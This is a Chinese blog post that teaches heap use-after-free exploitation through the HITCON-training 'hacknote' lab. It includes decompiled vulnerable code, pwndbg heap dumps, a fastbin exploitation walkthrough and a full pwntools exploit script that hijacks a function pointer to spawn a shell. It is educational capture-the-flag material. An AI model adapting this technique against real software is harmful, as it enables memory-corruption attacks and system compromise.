堆溢出-Use After Free

Author Avatar
kabeor 1月 06, 2020

堆溢出-Use After Free

原理

当一个内存块被释放之后再次被使用。

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

例 HITCON-training lab 10 hacknote

功能

puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");

漏洞点

unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*(notelist[v1] + 1)); ////////////free后指针没有设为NULL
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

利用

申请一个size=16的note查看堆布局

pwndbg> x/20gx 0x804b198
0x804b198: 0x0000001100000000 0x0804b1b00804865b ========> 8 字节内存存放note中的put以及content指针。
0x804b1a8: 0x0000002100000000 0x6161616161616161
0x804b1b8: 0x6161616161616161 0x0000000000000000
0x804b1c8: 0x00021e3900000000 0x0000000000000000

显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
  • note2 其实会分配 note1 对应的内存块。
  • real content 对应的 chunk 其实是 note0。
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
释放note 0 - note 1后
pwndbg> x/20gx 0x804b198-0x10
0x804b188: 0x0000000000000000 0x0000000000000000
0x804b198: 0x0000001100000000 0x0804b01000000000 ---------再次申请将被分配
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x6161616161616161 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b0100804b1a0
0x804b1d8: 0x0000002100000000 0x0804b0100804b1b0
0x804b1e8: 0x6262626262626262 0x0000000000000000
0x804b1f8: 0x00021e0900000000 0x0000000000000000
0x804b208: 0x0000000000000000 0x0000000000000000
0x804b218: 0x0000000000000000 0x0000000000000000
note2填充'c'*8后
pwndbg> x/20gx 0x804b198-0x20
0x804b178: 0x0000000000000000 0x0000000000000000
0x804b188: 0x0000000000000000 0x0000000000000000
0x804b198: 0x0000001100000000 0x6363636363636363 ------分配位置,将被调用,改为magic地址get shell
0x804b1a8: 0x0000002100000000 0x0804b01000000000
0x804b1b8: 0x6161616161616161 0x0000000000000000
0x804b1c8: 0x0000001100000000 0x0804b1a00804865b
0x804b1d8: 0x0000002100000000 0x0804b0100804b1b0
0x804b1e8: 0x6262626262626262 0x0000000000000000
0x804b1f8: 0x00021e0900000000 0x0000000000000000

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

From https://kabeor.github.io/堆溢出-Use After Free/ bye

This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接:https://kabeor.github.io/堆溢出-Use After Free/